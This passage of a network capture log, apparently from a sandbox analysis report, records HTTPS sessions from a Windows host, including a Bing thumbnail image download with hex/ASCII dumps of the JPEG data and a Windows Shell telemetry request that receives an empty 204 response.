2024-11-28 16:24:25 UTC	7256	IN	Data Raw: 95 45 39 45 2b 8a c2 28 c5 2d 39 52 97 14 5c 2c 37 14 ec 52 d1 48 62 62 8c 53 f6 fb 51 b7 da 80 19 8a 31 4f db ed 46 df 6a 00 6a 8a 5c 53 b1 46 2a 89 12 93 14 ec 51 8a 00 4d be d4 98 a7 62 8c 53 b9 23 71 46 29 d8 a7 62 80 11 45 3f 14 fb 71 46 1b ee d4 75 34 5b 0c 6a 6e ca 99 97 fb d4 8d f2 d0 98 99 16 29 d8 a5 a2 a8 81 31 46 29 69 71 40 0d c5 2e df 6a 5c 51 8a 00 4a 29 71 4e c5 2b 80 dc 51 8a 93 14 62 a6 e0 37 14 62 9f b7 da 8d be d4 5c 04 c5 3b 14 62 9f 48 a4 86 62 9d 8a 76 29 76 fb 50 03 54 53 b6 fb 51 b7 da 9c a2 a4 a1 b4 b8 a7 62 8c 50 02 51 4b 8a 5e 68 02 3d be d4 b8 a7 62 95 45 26 01 cd 26 29 d8 a5 db ed 48 04 c5 2a 8a 5c 52 a8 a9 6c 04 c5 3b 14 62 95 45 48 08 b4 fd be d4 6d f6 a7 28 a0 68 6d 2e 29 fc d2 e2 a4 62 73 42 8a 55 a5 51 49 94 91 d7 73 4e Data Ascii: E9E+(-9R\,7RHbbSQ1OFjj\SFQMbS#qF)bE?qFu4[jn)1F)iq@.j\QJ)qN+Qb7b\;bHbv)vPTSQbPQK^h=bE&&)H\Rl;bEHm(hm.)bsBUQIsN
2024-11-28 16:24:25 UTC	8192	IN	Data Raw: a9 98 f5 c3 86 e8 db 4b 2f 7c 57 91 89 c4 4d d7 95 af 6e 57 6e 96 7e a7 a5 42 95 a9 6b dc ac b7 cc be 34 fb 3d 8c f0 45 ff 00 13 19 15 fe d1 b7 ca b6 5d c7 66 d7 6f bb b7 e6 da c3 a7 6a f4 df 0b f8 c2 2d 13 52 86 e1 7e cb 71 6b 6b e6 2d f5 c4 3f 79 31 fe b2 3d c5 b7 a7 ce d8 07 1f c1 9e 95 f3 4c 3a 9c f6 52 25 f2 fc d2 44 ff 00 27 f7 78 fa 77 ad ef 0f f8 8e 58 ac 52 36 bb 91 5b 7e e7 4d eb b7 ef 6e 6d bd 76 37 bd 7e 77 98 e5 d3 ad 06 a4 fd d7 d0 f6 63 59 41 79 9f 4b c9 e2 cb 3d 5b 7d d4 9e 5b 4d 2d bc d2 ef 49 d7 f7 38 6f dd c8 dd cb 37 f7 7e f7 e1 48 d6 6b 6f b2 18 63 fd da ff 00 5e 7f ef af 5a f0 5f 0e ea ec bb ee 17 c8 9e 49 52 48 92 df f8 a1 8c 2b b3 1e 3f df 63 fc eb d4 3c 2b e2 fb 9d 5e f9 f5 8b c9 24 6b 7b 84 65 b7 d3 ad fe 55 b2 50 a9 f3 ca ce 00 Data Ascii: K/\|WMnWn~Bk4=E]foj-R~qkk-?y1=L:R%D'xwXR6[~Mnmv7~wcYAyK=[}[M-I8o7~Hkoc^Z_IRH+?c<+^$k{eUP
2024-11-28 16:24:25 UTC	8192	IN	Data Raw: 77 7f 85 79 0d 9f 8c e5 bd d6 2f af 2c 75 38 2d ed e5 b1 92 f3 51 7b 7d be 54 cc 9b 3f 76 bb f3 b4 b7 dd 1f 31 f9 79 3b 71 5d 87 80 fc 68 f2 c3 6f 36 b1 26 d9 a2 8a 3f b7 22 23 6d 86 10 c0 35 c3 96 3f 77 be 76 b1 c7 18 a8 c2 f1 2b a9 56 14 ea 68 ae ef 7f 9d bf cc 99 e1 74 6d 1e 84 b1 ee 8f e6 aa 77 1e 53 7f cb 39 37 34 de 56 cf 97 72 77 e7 db 1c d3 7c 1b 7e da be 87 36 b8 b2 79 b0 de 4c cd 69 6e 9b 7f 73 08 f9 51 7f df 6d bb 8f fb 4d 8e 8b ba bc 97 c7 df 10 20 d2 fe 33 58 b3 68 52 7d b3 4b 4b 98 a6 9a e6 78 ec d9 e1 92 38 f1 04 81 db 6e e0 c7 21 94 e7 d0 77 af a3 ad 8e 8d 2a 51 ad 7d 1b e9 ae 8f fe 06 a7 24 69 f3 3b 1e a1 79 16 e8 fe 5a ce 9a db 74 95 8d e0 df 1e 68 ba 97 87 34 ef b2 cf 3d e5 d5 d4 d0 d9 db db f9 1e 53 3b 37 cb b8 71 f3 44 ae ac a5 c6 ef Data Ascii: wy/,u8-Q{}T?v1y;q]ho6&?"#m5?wv+VhtmwS974Vrw\|~6yLinsQmM 3XhR}KKx8n!w*Q}$i;yZth4=S;7qD
2024-11-28 16:24:25 UTC	8192	IN	Data Raw: 66 1b 69 92 1d b5 24 82 ab c8 6b 48 ab 92 0d f3 54 72 0a 37 ff 00 0d 39 4d 69 6b 12 42 c9 b6 9b d6 ac e2 a3 d9 54 98 11 53 b6 fb 52 e2 9d 8a 77 15 88 99 2b c4 7e 3b 7c 4d f1 1f 84 3e 3a 68 7a 6e 97 e6 4b 63 15 a4 2d 77 a7 79 9f 2d ef 9d 27 cd fe eb 6d da 14 f6 3f 8d 7b a6 ca f9 a3 f6 98 b9 b1 b5 f8 cd a8 6a 0d 07 da af 2c 2d 2d a2 87 f8 56 c9 44 31 bf 98 e4 8f 59 7f f1 fa e7 c4 54 94 54 5f 98 e3 1b 9e bb ae 7c 54 f0 f6 93 a9 3d ac 9a 6e ab 74 b1 43 e7 bb da 24 32 b2 29 6d 83 cc 4f 30 6c 6d dd b3 53 69 7f 16 7c 0b 79 b3 cc d4 af ac 3c d7 da 9f 6e d2 e6 8b 7b 7b 32 06 1f ad 78 0c 37 77 3a a6 95 71 71 a8 5c 5a db ff 00 69 5b c2 d7 7a 8b a7 cc 90 ee f9 60 8a 3e 3d 7e f7 ae ee 6b 99 b3 d4 e0 b2 d5 6e ec f4 7b fb ab 59 a5 fd c7 da ff 00 e5 ab aa fd c4 8a 35 6d Data Ascii: fi$kHTr79MikBTSRw+~;\|M>:hznKc-wy-'m?{j,--VD1YTT_\|T=ntC$2)mO0lmSi\|y<n{{2x7w:qq\Zi[z`>=~kn{Y5m
2024-11-28 16:24:25 UTC	8192	IN	Data Raw: f4 df ba 9e da 3d cf fb b6 28 07 ee df 1e 6e 08 fc 3e ee 53 50 bf 56 b4 b1 d0 ee 23 d3 6d ec 6c 21 fb 75 df ce ad 14 df bc ca 36 f0 77 6d 7d 9b c8 ce 76 22 fd 29 c2 d3 5e f1 7b 6c 45 23 cb 2d d4 3a a2 f9 96 ab e4 b4 b6 ff 00 79 6d 74 c8 df ee 2c 59 39 c8 f9 b2 cb f7 8f 01 71 8d d4 6e 11 a7 92 e1 ae ae fe cf 0c 50 ab 5c 6f da b2 a4 67 a3 32 28 dc 9b ce d0 b1 67 71 fe 26 a6 ea 1a bc fe 21 d4 92 ea 69 24 58 65 b8 69 e1 77 83 6a f9 69 c6 e0 87 ee af dd 54 4f e8 b5 5f 4d d6 5e 78 fe c7 a7 da 5a dc 5c 7d ef b4 5c 7e f6 2f 38 ff 00 ac 95 97 18 7d 8b f2 ae 73 85 56 20 7c d5 b3 5a 2b 6c 38 c4 b1 a9 6a 3a ae a9 6b e6 5b c1 75 fd 92 b3 7f a3 a2 58 f9 56 a9 8e ae db 49 46 6f 41 96 1e ed 59 37 5a ba db df 4d 23 41 63 75 23 6d fd f5 db c9 2f fe 43 8b 1f cd 45 5b ba bb Data Ascii: =(n>SPV#ml!u6wm}v")^{lE#-:ymt,Y9qnP\og2(gq&!i$XeiwjiTO_M^xZ\}\~/8}sV \|Z+l8j:k[uXVIFoAY7ZM#Acu#m/CE[
2024-11-28 16:24:25 UTC	8192	IN	Data Raw: a6 e9 d0 df 49 25 bd c6 93 33 4f a7 4d 0e e5 58 58 e3 77 c8 3f 87 e5 4f fb e7 1d 33 5c 27 c6 cf d9 ff 00 43 f1 55 8b de 78 5e 3b 5d 0f 58 54 f9 f6 41 e5 5a de a8 e9 be 24 1b 51 ff 00 db 45 fa 8a c8 f0 7f c4 fd 56 0f 17 5b dc 6a 1a ec 97 50 c5 e5 db 5d c3 33 ac 0c ea 9b fe 4f 2e 45 f9 be 57 dc 3e eb 33 7f bb 5e b1 e1 1f 89 9e 1a f1 1d f4 36 ab 27 d8 d6 f1 d9 6c 5e 67 6f df 37 f7 4f 18 53 f8 f5 af 46 19 96 1a bf b9 51 59 c9 9c 9f 57 a9 4f 6e 87 c7 5e 3c f0 c6 bd e1 7f 11 ff 00 66 f8 9b c3 df d9 b2 4b fe a7 7f ef 60 b9 c2 85 67 89 be eb ae e3 db a7 4a b9 1e 8d a9 af 8a ad 23 b5 b4 fd e5 9d 8c 3e 4f d9 f7 6e f2 c6 58 ee 4c fd e3 e9 eb 5f 5a 7c 62 f8 5f a5 78 ff 00 fb 3e 3d 52 79 ed 63 b3 76 5b 8f 27 ef 4d 0b 7f 0a e7 ee 38 6e 43 e0 fa 1a f9 c2 f3 47 d6 bc 01 Data Ascii: I%3OMXXw?O3\'CUx^;]XTAZ$QEV[jP]3O.EW>3^6'l^go7OSFQYWOn^<fK`gJ#>OnXL_Z\|b_x>=Rycv['M8nCG
2024-11-28 16:24:25 UTC	8192	IN	Data Raw: 5a f2 5f db 6b 42 d5 f5 6f 00 69 97 56 b0 5a cb a6 e9 77 6d 2d de f4 fd ec 2c ff 00 22 b7 99 fc 31 1f ba de fe 59 ed 5e e5 18 a6 5c 45 13 c6 f1 c9 1c 6c ad f2 ba 3a 7c af 55 52 11 ab 07 4d ec 4c 5f 2b e7 ea 7c 4b 75 ae cf a4 f8 e2 fa d6 e2 09 da 6b 7b 95 b3 be 9a e1 fe 64 d8 db 17 cd ca ed da 07 fb 3f 32 f3 5b 7a 4e e8 be 23 68 d6 f2 7d 96 e2 de fe fa 35 7f dc 32 ec 84 48 8e 76 33 e0 fd ff 00 30 8f 5e bd 2b d1 3f 6c af 06 79 f6 b6 fe 38 b3 8f 72 db a4 76 7a e2 7f cf 68 77 7e e2 52 3b ec 6f 90 ff 00 b2 e9 fd da f3 8f 02 c7 ab dd 58 db b6 ad 77 e5 49 60 f0 cf 68 ff 00 bc db 65 be 32 91 09 0f 3f f2 ce 37 3e c1 7f 0a f9 ca f8 57 43 11 65 b7 e8 7a 54 67 ed 21 74 6c de 69 97 da 0f 8f 2e ed 74 7f 3d b4 d8 9e 6b 68 66 df e6 ab c3 0c c9 1c 5b 8f 4d df 2e de 47 5a Data Ascii: Z_kBoiVZwm-,"1Y^\El:\|URML_+\|Kuk{d?2[zN#h}52Hv30^+?ly8rvzhw~R;oXwI`he2?7>WCezTg!tli.t=khf[M.GZ
2024-11-28 16:24:25 UTC	8192	IN	Data Raw: ae d0 8b 32 e4 b6 64 8f ed 5f f2 d1 7f fd 55 b1 e1 bd 5e 5d 37 52 86 f2 df cb f3 13 77 f0 2b 2f dd f9 7a fa 1a 9a ea d9 65 9f fb 2e 1f 99 b6 6d de ff 00 37 ca 17 db bd 62 aa 34 12 79 8b f2 ff 00 0a 23 d2 76 90 b6 2c 6a 17 0d 75 bd bc b8 e2 9b ed 0d 2b a2 26 d5 e5 b3 8c 7b 55 76 bc 54 b5 48 ff 00 e5 e1 5d 99 e6 74 fe 13 f7 02 d5 3f 3e f2 59 37 49 3e d6 6d bf 3a 7f 77 f0 a7 28 96 45 58 ee 1d f7 2a 2c 68 cf fd d1 4f 97 b9 25 cb 8d 51 47 cb ff 00 2d 17 e5 4f 93 e5 da 6b b8 f8 15 a1 7f c2 5b e2 ad 3f 47 5b bb 1b 69 19 2e 1a 59 75 1b a9 a0 8b 4c 91 57 e5 b9 66 8f 0e db 3e f8 50 7e bc 02 6b 95 f0 1e 99 a6 ea 9a e2 43 f6 ff 00 b1 c6 af fe 90 ee 9b a5 f2 ff 00 89 e3 f5 db e9 5d 3e 9b a5 d8 e9 b7 4f 7d 71 04 f7 f2 59 dc 46 be 4e f5 6f b6 b0 6d ca 0a fa 3a f1 95 dd Data Ascii: 2d_U^]7Rw+/ze.m7b4y#v,ju+&{UvTH]t?>Y7I>m:w(EX*,hO%QG-Ok[?G[i.YuLWf>P~kC]>O}qYFNom:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49753	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:24 UTC	346	OUT	GET /th?id=OADD2.10239381742051_1MZLGS7MGWEW2J3U5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 16:24:25 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 884075 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 0A8701CD3D4344509221DB21C68974ED Ref B: EWR30EDGE0206 Ref C: 2024-11-28T16:24:24Z Date: Thu, 28 Nov 2024 16:24:24 GMT Connection: close
2024-11-28 16:24:25 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a fa 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 30 39 3a 33 36 3a 34 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 09:36:488
2024-11-28 16:24:25 UTC	16384	IN	Data Raw: 16 a5 8d a9 d4 5e c5 11 c6 b4 c7 8b 65 4e 94 ff 00 92 85 2b 0a c5 54 5d 95 2c 75 2b c5 b2 99 52 31 f1 ad 3d 17 f7 35 0c 0d b3 e4 a7 f9 b4 00 f9 16 aa cf 05 5a 4a 24 8a 82 b9 4c d9 ed 92 88 fe 4a b1 3a d5 59 17 f8 eb 54 db 33 1d 3b d6 35 f2 d5 d9 e5 fe 0a af 3f f7 eb 68 45 a6 67 3d 51 9b 3a ec a8 fe e5 5a 9f e4 aa 7c d7 52 39 99 22 79 75 2c 75 04 6d b2 a7 b4 a2 5b 5c 23 b9 2c 9f 25 55 91 b7 d5 c9 16 a0 78 23 4a 88 97 2b 84 71 54 52 47 57 f6 54 12 2d 38 c8 39 4c f9 22 a5 f2 aa e3 ae fa 7c 91 7e e6 af 98 8b 19 ff 00 bc ab 11 ad 11 c5 b2 9d 1a ec a0 45 59 3f b9 4f b7 a9 76 c7 e7 53 bc ad 94 f9 95 80 24 5d 95 56 46 ab b3 c5 fb aa cb 9f e4 a7 1d 42 43 e7 6a ab 3f cf 52 6e f7 a8 de b6 33 91 9f 3c 52 54 7b 4d 5e 91 6a 39 22 df f7 2b 65 23 9d c4 ab 45 3a 9a f5 44 Data Ascii: ^eN+T],u+R1=5ZJ$LJ:YT3;5?hEg=Q:Z\|R9"yu,um[\#,%Ux#J+qTRGWT-89L"\|~EY?OvS$]VFBCj?Rn3<RT{M^j9"+e#E:D
2024-11-28 16:24:25 UTC	16384	IN	Data Raw: ea 52 7f cf 49 59 dd be 5f e9 ff 00 5c eb ce cc 6b d9 2a 7d f7 3a 70 f4 db 7c c7 be fc 1a f8 91 e1 0d 13 c3 be 17 b2 f1 0f da fe c3 a5 68 b0 db dc fd 9a 1f fa 76 dc 9f 37 f0 30 67 b8 7f f7 ab d9 a3 6b 0b 88 63 bd d2 35 28 b5 1b 19 3f d5 dc c5 f2 3c 7b 93 7e d9 13 f8 1b 6b 57 c3 9a 6d 9d dc 5a 4d f6 af 6b 79 0f 99 1d 97 97 2c 7e 6e cf b4 26 cd 9b 7f 0a f5 7f 84 fe 36 d5 b4 fb 4b 6d 6f fd 64 11 db 7d 9f cc f3 7f 73 22 47 b1 16 29 13 aa 63 cb f9 5b f0 af 17 2d 7f 53 ab 3f 79 b8 49 dd af 36 76 62 9f b6 84 53 5a a5 63 e9 0e 68 e6 b3 fc 33 ab d8 6b ba 1c 7a a6 97 34 37 10 49 ff 00 3c be 7f 2d ff 00 bb 57 e7 68 ed ed 24 bd ba 9a 1b 7b 58 ff 00 d6 5c cb f7 23 af ac 53 8b 8f 32 7a 1e 4f 2b 4e cc 5e 69 27 9e 0b 4b 4b 9b db d9 a1 b7 b5 b7 8d e4 b9 b9 97 ee 46 8b f7 Data Ascii: RIY_\k*}:p\|hv70gkc5(?<{~kWmZMky,~n&6Kmod}s"G)c[-S?yI6vbSZch3kz47I<-Wh${X\#S2zO+N^i'KKF
2024-11-28 16:24:25 UTC	16384	IN	Data Raw: 16 ec 9e 64 91 ac 1f 73 6b fd f7 7f ef 57 6e 27 11 51 cf db 4d 5a cb 5b 6c ed d7 cb f1 22 31 f7 1a 8f fc 31 f5 65 8d 8e 8d e0 ad 26 3f ed 49 ad 23 d4 b5 5d 5a 18 35 2b df 91 d2 3b db 94 de b1 b4 9f 7f c9 fe 04 ff 00 80 7f 7a b1 af 3c 49 75 a4 43 e2 8b e8 f4 e9 63 7d 1a 27 fb 6d 95 cc 5b 3e c9 2a 7c f2 ec 7f f6 e4 fd da 2f f1 ef 8d bf bd 5e 3d f1 53 e2 6f 8a 74 cd 0e 3f 08 47 e2 ab 4d 7a d7 5a 91 35 b9 2e 65 d9 73 71 fb c7 4b 8f de 33 2e d8 f6 79 5c 44 bf 77 d5 7e e5 73 9a df 8a 1f c4 be 21 d4 b5 09 f5 e9 a4 82 ce d9 35 38 e3 97 f7 c9 7f a9 45 6d e5 fe f7 63 6d f9 fc a6 e7 fd ca d7 19 98 55 9c 60 a9 27 14 bb 74 dd 13 46 8c 53 6e 47 ba f8 3b c5 1e 28 f1 5f 84 e4 d4 60 9b 4f d3 ae ac b5 68 64 8e 3b 99 76 7d a2 5d fe 65 c2 ff 00 b1 02 46 fb 55 1b 7b fc 9f 35 Data Ascii: dskWn'QMZ[l"11e&?I#]Z5+;z<IuCc}'m[>*\|/^=Sot?GMzZ5.esqK3.y\Dw~s!58EmcmU`'tFSnG;(_`Ohd;v}]eFU{5
2024-11-28 16:24:25 UTC	16384	IN	Data Raw: 4b c2 5e 19 fe de 4d 1f fb 47 58 92 4f 2e e7 5a d5 e5 47 86 d1 f7 ff 00 a8 82 0d db 77 7f 9f 96 ad 7c 16 d2 2e f5 0d 5a 4f 17 fe e6 e2 48 ff 00 79 f6 9b ed 9f f2 d3 2d ff 00 00 fe ff 00 cb f7 56 b9 1d 56 d6 4f 15 fc 52 93 41 d3 ac e6 d4 74 ad 06 4f b3 f9 72 cb fe b1 d7 fd 66 f9 3d db bf f7 6b d1 b5 6f ec 2f 09 5d c7 a0 de f9 ba ac 11 c8 f2 6b f1 fc 9f e9 12 aa 23 24 7b 1b f8 55 96 3f 97 fe 03 fd ea b7 64 9c 89 4e ec c9 f8 a1 7d a4 de ea d6 30 69 f3 43 6f a1 e9 d2 79 96 d2 79 5f f1 f1 7b 27 ef 77 b7 fb 3f f2 dd 9f fe b9 a5 69 7c 21 f0 ff 00 88 6e 3c bd 3a 0b cf 2f 4d fb 34 d2 47 7b 2f fc b8 27 fc fc 2f fb ff 00 bc fb df 37 fe 3b 5e 77 a1 df 6e f0 f4 9e 21 d4 66 f3 27 93 ed fe 5c 72 cb fc 6d fe b2 4f 2d 78 f9 e4 68 a3 ff 00 b6 6d 5d e7 fc 24 77 7e 1c fb 4d Data Ascii: K^MGXO.ZGw\|.ZOHy-VVORAtOrf=ko/]k#${U?dN}0iCoyy_{'w?i\|!n<:/M4G{/'/7;^wn!f'\rmO-xhm]$w~M
2024-11-28 16:24:25 UTC	16384	IN	Data Raw: 22 b7 83 46 8f cc d4 bf 7b ff 00 1e 89 56 ad 62 f3 6d 3c f4 87 f7 72 7f cb 3f 35 1f cb ff 00 7b 6f dd af 92 ed 75 ef 0d 6a 1e 5a 69 7a 95 dd bf db 6c 9e d2 ca da 58 9d 3f 7a a9 f7 e6 77 dd e6 47 bb f8 56 bd 07 e0 d7 8c e0 f0 97 db b5 4d 47 47 d2 7c 8b 8d f2 5e c9 a6 ea 1f 3c 97 1f f4 d5 3f bd fe fe da d2 9e 73 3e 7f de ab 44 87 82 49 7b ae ec f7 38 e0 92 29 b7 a7 fd fc af 34 f8 b1 f0 47 c0 9e 30 f3 35 47 87 fb 07 52 8e 47 bb b9 d4 b4 d8 93 f7 88 b0 ed d8 d1 fd df bd 1a 3f fd f7 fd ea d6 f0 c7 c5 6d 26 ef cb 93 5b d4 b4 fb 2b 59 24 48 e3 b9 f9 f6 7c df c5 e6 7d d5 5f f6 ab d1 27 82 4b 7b bd 9f ea e4 8e bd 2c 3e 2a 96 2a 9b 71 fb 99 cd 28 4a 9b 3f 3d b4 a8 24 d1 35 cb 18 35 4b cf b3 c7 27 ef 23 b9 b6 fb 9f 37 dd 6a e8 7c 5d 6d a2 c5 e3 78 fe d5 67 fb 8b 8d Data Ascii: "F{Vbm<r?5{oujZizlX?zwGVMGG\|^<?s>DI{8)4G05GRG?m&[+Y$H\|}_'K{,>**q(J?=$55K'#7j\|]mxg
2024-11-28 16:24:25 UTC	16384	IN	Data Raw: d3 49 1b 93 df 41 71 0c 70 3c de 5d d4 9f f1 f3 27 fb 75 b1 e1 5d 0e 39 74 99 36 7f ac 92 44 fd e7 9a ff 00 e8 ef ff 00 d9 d7 3b e2 4b 18 2d e6 ff 00 45 fd e4 12 7f ab ff 00 e2 77 7f 7a a4 d2 b5 9d 4a d2 1b 9d 2e 09 be 7d 47 64 71 ff 00 03 ff 00 bb 5c 4e 32 94 7d c6 6c 9d 9f bc 53 f1 76 9f 1e 9f ab 49 6b 3c 3e 5c 91 c8 ff 00 bb ad 28 da fd 21 8e d5 3c 98 ed 64 8f cb 8f ec d1 22 7d ef f9 e9 fd fa c8 f1 1e a1 77 ad eb 92 5e c1 0c 31 c9 e6 7e f2 db ef fc f5 57 4d d5 75 29 7c c4 9b ca fe 0f 2f fe 99 bf f1 57 5a 84 dc 55 f7 46 3c d1 4d 90 6a b0 5f fd ae e6 cb fe 9a 7f df ba ab 3c f2 5d dd ec ba 9b cc f2 e3 f2 fc cf f9 e9 5a 3e 34 d4 2d 26 d3 ed ae ac a1 9a 3b af 9e 3b 99 7c dd e9 27 f7 6b 95 fb 4c ed fe b3 fe 59 c9 ff 00 2d 22 d9 5d 74 e3 78 dd 99 49 a4 cd 89 Data Ascii: IAqp<]'u]9t6D;K-EwzJ.}Gdq\N2}lSvIk<>\(!<d"}w^1~WMu)\|/WZUF<Mj_<]Z>4-&;;\|'kLY-"]txI
2024-11-28 16:24:25 UTC	16067	IN	Data Raw: d0 74 b9 a6 8e 0d 47 fd 23 52 b9 f2 9e 6b 9b 84 89 f7 7d 17 1f 70 61 51 3b b5 71 42 97 36 ac da f7 d9 91 78 67 c2 fa 96 b7 ff 00 12 8b df 12 5d de c9 27 fa 5e a5 65 6d bd 2c 6d ed d7 ef b4 ae bf 7f 6f f9 db 5d 7f 80 f4 cf 0d 59 43 fd b7 fd 8f 37 fc 4a a4 7f b1 47 17 c9 6d 23 ae c5 66 dc d8 df fe b7 e5 f9 95 69 be 20 b9 d1 74 fd 42 3d 06 d6 6f ec ed 37 ec df f1 e5 e6 be fd 4e 56 ff 00 9e 8f fd c5 dd f3 6e fb cd ed 4e f1 37 f6 ee ab e1 3d 37 c3 53 f8 c3 ed ba 3d c4 9f 6b fe c0 fb 23 cd 6d e6 c8 ef e5 79 ed 1f ef 2e 24 fd d3 b9 de df 2f 6a e9 e6 52 d2 23 d4 cb be d5 6c 35 8b bd 4b 57 d7 a1 86 e2 0f 9e 4b 2b 2b 6f dc c3 69 2e fd b0 b4 af b5 bc fc 2f 48 d1 b6 fb d6 e7 82 ec 6c 35 59 a3 f1 ad ee a5 34 97 57 17 af f6 db 2f b2 23 c3 e5 49 fc 7b b7 fe fd df e4 f9 Data Ascii: tG#Rk}paQ;qB6xg]'^em,mo]YC7JGm#fi tB=o7NVnN7=7S=k#my.$/jR#l5KWK++oi./Hl5Y4W/#I{
2024-11-28 16:24:25 UTC	16384	IN	Data Raw: af 77 71 75 26 9b e5 e9 d6 f2 6c bc 89 25 92 4d f7 11 ab fc ad 04 59 67 7f 99 5b e6 ae b3 c2 f1 6b 5a a5 ad cc 7a ee 99 35 9e 8f 26 b5 61 79 7b 7a 25 44 8a de 5b a8 7c 98 d1 15 be 6f de 79 5f c1 ff 00 a0 d7 1d 58 da 77 8f 53 ae 9e cd 33 67 c3 3e 21 fb 25 df fc 22 1a 8f f6 7d c4 71 de a5 a6 9b ad 58 ea 09 fe 8e 9b de 6f dc f9 9b be fb 6f ff 00 be f1 54 3e 3b e9 93 f9 5f eb bc b8 fc c7 d4 e4 b6 8b f7 c9 f3 7e ef fe 01 b5 be f7 fb f5 3e 81 f1 13 c2 fa 26 b9 b1 34 1b 49 23 fb 6f da 3c cb 18 b7 be d6 4f 2f ec ff 00 bd fe 18 eb 4b c6 9a 9c 1a 9c 32 41 75 a3 c3 6f 69 1c 69 71 6d 1c b2 a7 93 1b c9 fe b1 24 f9 b7 7c db ff 00 ca d7 24 5d aa 27 6b 22 a7 b9 e2 76 ab 25 c5 a6 fb 2b 3f f8 f7 8f f7 91 db 45 bf e4 fe 27 6a a7 a9 45 25 dd a4 77 50 fe f2 38 f7 c7 25 b5 5c Data Ascii: wqu&l%MYg[kZz5&ay{z%D[\|oy_XwS3g>!%"}qXooT>;_~>&4I#o<O/K2Auoiiqm$\|$]'k"v%+?E'jE%wP8%\
2024-11-28 16:24:25 UTC	16384	IN	Data Raw: 46 8f 67 f6 7f dd ff 00 ab b6 ff 00 96 8f ff 00 3d 1b fb d5 34 a9 36 f9 a4 b7 1c a7 6d 11 9d e3 19 fe d7 ad ff 00 a2 f9 d2 79 7f bb b6 fe ff 00 95 fc 34 30 9f 4c d3 e2 d4 6d a5 b5 91 fc cd 9e 64 5f 3e c6 64 fb ad 5b 7a 56 8b 68 b0 c9 fe a7 cc b8 8f fe 5a ff 00 b5 51 5a db 40 f7 7f d9 70 69 bf 68 92 4d fe 5c 7f f3 d3 f8 ab a9 54 5b 18 f2 bb 9c fc 93 c9 71 17 9f 24 32 fe f2 4f f5 92 7f b3 57 2c 7c 89 ad 3c 99 21 f9 3f e5 9f ee ab 67 c4 7a 42 45 a4 d8 fd 97 ec 9e 47 98 f1 c7 ff 00 3d a3 fe f5 60 cf 2f 95 a8 47 b3 fd 5c 9f bb f2 ff 00 f1 da 39 94 96 83 69 c5 97 e3 f3 12 1f 22 78 7c b9 3c c7 ff 00 5b f7 eb 53 4d 5d 26 58 6e 7f e7 a4 76 df f2 d7 fe 7a af df f4 f9 6b 3b 51 5b 4f ec 9f 25 2f 26 92 79 3f d2 3c cf e0 8f fd 86 fa 56 57 d8 e7 97 49 fb 6a 4d f2 47 27 Data Ascii: Fg=46my40Lmd_>d[zVhZQZ@pihM\T[q$2OW,\|<!?gzBEG=`/G\9i"x\|<[SM]&Xnvzk;Q[O%/&y?<VWIjMG'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49751	20.234.120.54	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:24 UTC	602	OUT	GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=115137631&PG=PC000P0FR5.0000000IRU&REQASID=5E6FDA521C7D4A94AA3A5BD381088FCA&UNID=338389&ASID=6b9719f38d9d4a179ed76da11b3e2eef&&DS_EVTID=5E6FDA521C7D4A94AA3A5BD381088FCA&DEVOSVER=10.0.19045.2006&REQT=20241128T162408&TIME=20241128T162411Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2024-11-28 16:24:25 UTC	183	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 91185f3b-f452-4cc6-84fc-1045b9801e7c Date: Thu, 28 Nov 2024 16:24:24 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49754	13.107.246.63	443

